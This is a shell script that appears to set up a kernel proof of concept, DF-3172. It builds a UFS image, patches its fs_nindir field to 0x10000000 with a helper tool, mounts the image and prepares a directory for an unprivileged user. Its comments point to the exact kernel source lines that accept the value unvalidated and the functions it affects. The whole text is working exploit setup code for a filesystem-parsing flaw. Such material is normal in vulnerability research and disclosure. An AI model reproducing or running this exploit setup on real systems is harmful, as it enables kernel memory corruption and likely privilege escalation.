DF-3172 / setupB.sh
#!/bin/sh # DF-3172 aimed-variant setup — run IN the guest as root. # Legit newfs -b 4096 image, then patch fs_nindir to M = 0x10000000 # (2^28). ffs_mountfs accepts it unvalidated (ffs_vfsops.c:642-646, # ump->um_nindir at :729). NINDIR(fs) = M now governs ufs_bmaparray, # ffs_balloc and ffs_indirtrunc. set -e cd /root/df3172 umount /mnt/poc 2>/dev/null || true vnconfig -u vn0 2>/dev/null || true truncate -s 128M ffsaim.img vnconfig -c vn0 ffsaim.img newfs -b 4096 /dev/vn0 > newfs.out 2>&1 vnconfig -u vn0 ./craft64 ffsaim.img 116 0x10000000 4 vnconfig -c vn0 ffsaim.img mkdir -p /mnt/poc mount -t ufs /dev/vn0 /mnt/poc mkdir -p /mnt/poc/d chown maxx:maxx /mnt/poc/d chmod 755 /mnt/poc /mnt/poc/d echo SETUPB_OK |